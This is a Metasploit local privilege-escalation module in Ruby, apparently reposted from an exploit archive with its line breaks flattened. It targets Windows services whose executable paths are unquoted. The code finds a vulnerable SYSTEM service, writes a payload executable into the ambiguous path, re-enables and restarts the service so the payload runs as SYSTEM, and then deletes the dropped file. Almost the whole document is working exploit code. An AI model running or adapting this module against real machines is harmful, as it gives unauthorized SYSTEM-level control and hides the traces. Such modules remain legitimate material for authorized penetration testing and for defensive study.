Microsoft Windows – Service Trusted Path Privilege Escalation (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::Common include Msf::Post::File include Post::Windows::WindowsServices def initialize(info={}) super( update_info( info, 'Name' => 'Windows Service Trusted Path Privilege Escalation', 'Description' => %q{ This module exploits a logic flaw due to how the lpApplicationName parameter is handled. When the lpApplicationName contains a space, the file name is ambiguous. Take this file path as example: C:\program files\hello.exe; The Windows API will try to interpret this as two possible paths: C:\program.exe, and C:\program files\hello.exe, and then execute all of them. To some software developers, this is an unexpected behavior, which becomes a security problem if an attacker is able to place a malicious executable in one of these unexpected paths, sometimes escalate privileges if run as SYSTEM. Some softwares such as OpenVPN 2.1.1, or OpenSSH Server 5, etc... all have the same problem. }, 'References' => [ ['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx'] ], 'DisclosureDate' => "Oct 25 2001", 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], 'Platform' => [ 'win'], 'Targets' => [ ['Windows', {}] ], 'SessionTypes' => [ "shell", "meterpreter" ], 'DefaultTarget' => 0, # Migrate away, in case the service dies (can kill access) 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' } )) end def check if enum_vuln_services.empty? return Exploit::CheckCode::Safe else return Exploit::CheckCode::Vulnerable end end def enum_vuln_services(quick=false) vuln_services = [] service_list.each do |name| info = service_info(name) # Sometimes there's a null byte at the end of the string, # and that can break the regex -- annoying. cmd = info['Command'].strip # Check path: # - Filter out paths that begin with a quote # - Filter out paths that don't have a space next if cmd !~ /^[a-z]\:.+\.exe$/i next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true) # Filter out services that aren't launched as SYSTEM next if info['Credentials'] !~ /LocalSystem/ vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})") vuln_services << [name, cmd] # This process can be pretty damn slow. # Allow the user to just find one, and get the hell out. break if not vuln_services.empty? and quick end return vuln_services end def exploit # # Exploit the first service found # print_status("Finding a vulnerable service...") svrs = enum_vuln_services(true) if svrs.empty? print_error("No service found with trusted path issues") return end svr_name = svrs.first[0] fpath = svrs.first[1] exe_path = "#{fpath.split(' ')[0]}.exe" print_status("Placing #{exe_path} as #{svr_name}") # # Drop the malicious executable into the path # exe = generate_payload_exe print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...") begin write_file(exe_path, exe) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on print_error(e.message) return end # # Run the service, let the Windows API do the rest # print_status("Launching service #{svr_name}...") tried = false begin status = service_start(svr_name) raise RuntimeError, status if status != 0 rescue RuntimeError => s if tried print_error("Unable to start #{svr_name}") return else tried = true end case s.message when 1 # Service already started, restart again service_stop(svr_name) retry when 2 # Service disabled, enable it service_change_startup(svr_name, 'manual') retry end end # # "Nothing ever happened, we swears it on the Precious!" # print_status("Deleting #{exe_path}") begin cmd_exec("cmd /c del \"#{exe_path}\"") rescue ::Exception => e print_error("Unable to remove #{exe_path}: #{e.message}") end end end |